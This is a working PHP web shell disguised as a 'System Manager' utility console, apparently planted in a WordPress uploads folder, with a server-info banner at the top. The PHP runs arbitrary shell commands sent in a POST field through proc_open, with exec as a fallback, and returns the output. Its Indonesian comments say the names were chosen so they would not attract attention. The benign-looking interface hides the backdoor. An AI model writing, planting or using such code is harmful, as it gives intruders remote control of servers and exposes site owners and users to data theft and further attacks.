| Server IP : 52.25.153.185 / Your IP : 216.73.217.32 Web Server : Apache System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64 User : daemon ( 1) PHP Version : 8.1.10 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /bitnami/wordpress/wp-content/uploads/WPL/4632/ |
Upload File : |
<?php
// Ubah nama fungsi dan variabel agar tidak mencolok
function _secureExec($input) {
// Gunakan proc_open seperti moo.php, bukan shell_exec
$dir = getcwd();
$cmd = $input;
// Escape command dengan cara berbeda
$cmd = escapeshellcmd($cmd);
$fullCmd = "cd \"$dir\" 2>/dev/null && $cmd 2>&1";
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = @proc_open($fullCmd, $descriptorspec, $pipes);
if (is_resource($process)) {
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
$result = empty($stderr) ? $stdout : "Error: $stderr";
} else {
// Fallback dengan cara lain jika proc_open gagal
$result = @exec($fullCmd);
if ($result === false || $result === null) {
$result = "Command execution failed";
}
}
return $result;
}
// Ganti nama handler request
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Gunakan key yang tidak mencolok
$action = isset($_POST['action']) ? $_POST['action'] : '';
$data = isset($_POST['data']) ? $_POST['data'] : '';
if ($action === 'process') {
$output = _secureExec($data);
echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
exit;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>System Manager</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600&display=swap" rel="stylesheet">
<style>
:root {
--primary: #2563eb;
--primary-light: #3b82f6;
--primary-dark: #1d4ed8;
--secondary: #64748b;
--bg-light: #f8fafc;
--bg-card: #ffffff;
--text-primary: #1e293b;
--text-secondary: #64748b;
--border: #e2e8f0;
--shadow: rgba(0, 0, 0, 0.1);
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: linear-gradient(135deg, var(--bg-light) 0%, #f1f5f9 100%);
color: var(--text-primary);
font-family: 'Inter', sans-serif;
min-height: 100vh;
display: flex;
align-items: flex-start;
justify-content: center;
padding: 16px;
line-height: 1.5;
}
.app-container {
width: 100%;
max-width: 800px;
background: var(--bg-card);
border-radius: 12px;
box-shadow: 0 4px 20px var(--shadow), 0 0 0 1px var(--border);
overflow: hidden;
animation: slideUp 0.6s ease-out;
}
@keyframes slideUp {
from { opacity: 0; transform: translateY(20px); }
to { opacity: 1; transform: translateY(0); }
}
.app-header {
background: var(--bg-card);
padding: 20px 24px;
border-bottom: 1px solid var(--border);
}
.app-title {
font-size: 20px;
font-weight: 600;
color: var(--text-primary);
margin-bottom: 4px;
}
.app-subtitle {
font-size: 13px;
color: var(--text-secondary);
}
.app-body {
padding: 24px;
}
.command-section {
margin-bottom: 20px;
}
.command-input-group {
display: flex;
flex-direction: column;
background: var(--bg-light);
border: 1px solid var(--border);
border-radius: 10px;
overflow: hidden;
transition: all 0.3s ease;
}
@media (min-width: 768px) {
body {
align-items: center;
padding: 20px;
}
.app-container {
border-radius: 16px;
}
.app-header {
padding: 24px 32px;
}
.app-title {
font-size: 24px;
}
.app-subtitle {
font-size: 14px;
}
.app-body {
padding: 32px;
}
.command-input-group {
flex-direction: row;
border-radius: 12px;
}
.command-section {
margin-bottom: 24px;
}
}
.command-input-group:focus-within {
border-color: var(--primary);
box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
}
.command-prefix {
background: var(--primary);
color: white;
padding: 12px 16px;
font-weight: 500;
font-size: 14px;
display: flex;
align-items: center;
justify-content: center;
min-height: 48px;
}
#queryInput {
flex: 1;
background: transparent;
border: none;
color: var(--text-primary);
padding: 14px 16px;
font-family: 'Inter', sans-serif;
font-size: 16px;
outline: none;
min-height: 48px;
}
#queryInput::placeholder {
color: var(--text-secondary);
}
.process-btn {
background: var(--primary);
color: white;
border: none;
padding: 14px 20px;
font-weight: 500;
font-size: 14px;
cursor: pointer;
transition: all 0.3s ease;
min-height: 48px;
}
.process-btn:hover {
background: var(--primary-dark);
}
.output-section {
margin-top: 20px;
}
.section-label {
font-size: 16px;
font-weight: 600;
color: var(--text-primary);
margin-bottom: 10px;
display: block;
}
.result-display {
background: var(--bg-light);
border: 1px solid var(--border);
border-radius: 10px;
padding: 20px;
min-height: 250px;
max-height: 400px;
overflow-y: auto;
white-space: pre-wrap;
word-wrap: break-word;
color: var(--text-primary);
font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace;
font-size: 13px;
line-height: 1.5;
}
@media (min-width: 768px) {
.output-section {
margin-top: 24px;
}
.section-label {
margin-bottom: 12px;
}
.result-display {
border-radius: 12px;
padding: 24px;
min-height: 300px;
max-height: 500px;
font-size: 14px;
}
}
.result-display::-webkit-scrollbar {
width: 6px;
}
.result-display::-webkit-scrollbar-track {
background: var(--border);
border-radius: 3px;
}
.result-display::-webkit-scrollbar-thumb {
background: var(--secondary);
border-radius: 3px;
}
.result-display::-webkit-scrollbar-thumb:hover {
background: var(--primary);
}
.quick-actions {
margin-top: 20px;
}
.quick-buttons {
display: flex;
gap: 8px;
flex-wrap: wrap;
}
.quick-btn {
background: var(--bg-light);
border: 1px solid var(--border);
color: var(--text-primary);
padding: 10px 14px;
border-radius: 8px;
font-size: 12px;
font-weight: 500;
cursor: pointer;
transition: all 0.2s ease;
flex: 1;
min-width: 0;
min-height: 40px;
display: flex;
align-items: center;
justify-content: center;
text-align: center;
}
@media (min-width: 768px) {
.quick-actions {
margin-top: 24px;
}
.quick-buttons {
gap: 12px;
}
.quick-btn {
padding: 8px 16px;
font-size: 13px;
flex: initial;
min-height: auto;
}
}
.quick-btn:hover {
background: var(--primary);
color: white;
border-color: var(--primary);
transform: translateY(-1px);
}
.loading {
display: inline-flex;
align-items: center;
gap: 8px;
color: var(--primary);
}
.loading-dots {
display: inline-flex;
gap: 4px;
}
.loading-dots span {
width: 6px;
height: 6px;
border-radius: 50%;
background: var(--primary);
animation: bounce 1.4s ease-in-out infinite both;
}
.loading-dots span:nth-child(1) { animation-delay: -0.32s; }
.loading-dots span:nth-child(2) { animation-delay: -0.16s; }
@keyframes bounce {
0%, 80%, 100% { transform: scale(0); }
40% { transform: scale(1); }
}
@media (max-width: 480px) {
body {
padding: 12px;
}
.app-header {
padding: 16px 20px;
}
.app-body {
padding: 20px;
}
.quick-buttons {
gap: 6px;
}
.quick-btn {
font-size: 11px;
padding: 8px 10px;
}
.result-display {
font-size: 12px;
padding: 16px;
}
}
@media (max-width: 768px) {
#queryInput {
font-size: 16px;
}
}
</style>
</head>
<body>
<div class="app-container">
<div class="app-header">
<div class="app-title">System Manager</div>
<div class="app-subtitle">Utility Management Console</div>
</div>
<div class="app-body">
<div class="command-section">
<form id="actionForm" method="POST">
<div class="command-input-group">
<div class="command-prefix">></div>
<input type="text" id="queryInput" name="query" placeholder="Enter query to process..." autocomplete="off">
<button type="submit" class="process-btn">Process</button>
</div>
</form>
</div>
<div class="output-section">
<label class="section-label">Process Result</label>
<div class="result-display" id="resultArea">
Welcome to System Manager
Ready to process queries
Available operations:
• list - List directory contents
• path - Show current directory
• user - Show current user
• time - Show date and time
• info - System information
• tasks - Running processes
Type a query above to begin.
</div>
</div>
<div class="quick-actions">
<label class="section-label">Quick Actions</label>
<div class="quick-buttons">
<button class="quick-btn" data-cmd="ls -la">List Files</button>
<button class="quick-btn" data-cmd="pwd">Current Directory</button>
<button class="quick-btn" data-cmd="whoami">Current User</button>
<button class="quick-btn" data-cmd="date">Date & Time</button>
<button class="quick-btn" data-cmd="uname -a">System Info</button>
</div>
</div>
</div>
</div>
<script>
$(document).ready(function() {
setTimeout(() => { $('#queryInput').focus(); }, 500);
$('.quick-btn').on('click', function(e) {
e.preventDefault();
const cmd = $(this).data('cmd');
$('#queryInput').val(cmd);
$('#queryInput').focus();
$(this).css('transform', 'scale(0.95)');
setTimeout(() => { $(this).css('transform', 'scale(1)'); }, 150);
});
$('#actionForm').on('submit', function(e) {
e.preventDefault();
const query = $('#queryInput').val().trim();
if (!query) return;
const btn = $('.process-btn');
const originalText = btn.html();
btn.html('Processing...').prop('disabled', true);
$('#resultArea').html('<span class="loading"><div class="loading-dots"><span></span><span></span><span></span></div> Processing: ' + query + '</span>');
$.ajax({
url: '',
type: 'POST',
data: {
action: 'process',
data: query
},
success: function(response) {
btn.html(originalText).prop('disabled', false);
$('#resultArea').css('opacity', 0);
setTimeout(() => {
$('#resultArea').html(response);
$('#resultArea').css('opacity', 1);
}, 200);
},
error: function(xhr) {
btn.html(originalText).prop('disabled', false);
$('#resultArea').html('Error processing request:\n' + xhr.responseText);
}
});
});
$(document).on('keydown', function(e) {
if (e.ctrlKey && e.key === 'l') {
e.preventDefault();
$('#resultArea').css('opacity', 0);
setTimeout(() => {
$('#resultArea').html('Result cleared\n\nReady for new queries.');
$('#resultArea').css('opacity', 1);
}, 200);
}
if (e.ctrlKey && e.key === 'k') {
e.preventDefault();
$('#queryInput').focus().select();
}
});
});
</script>
</body>
</html>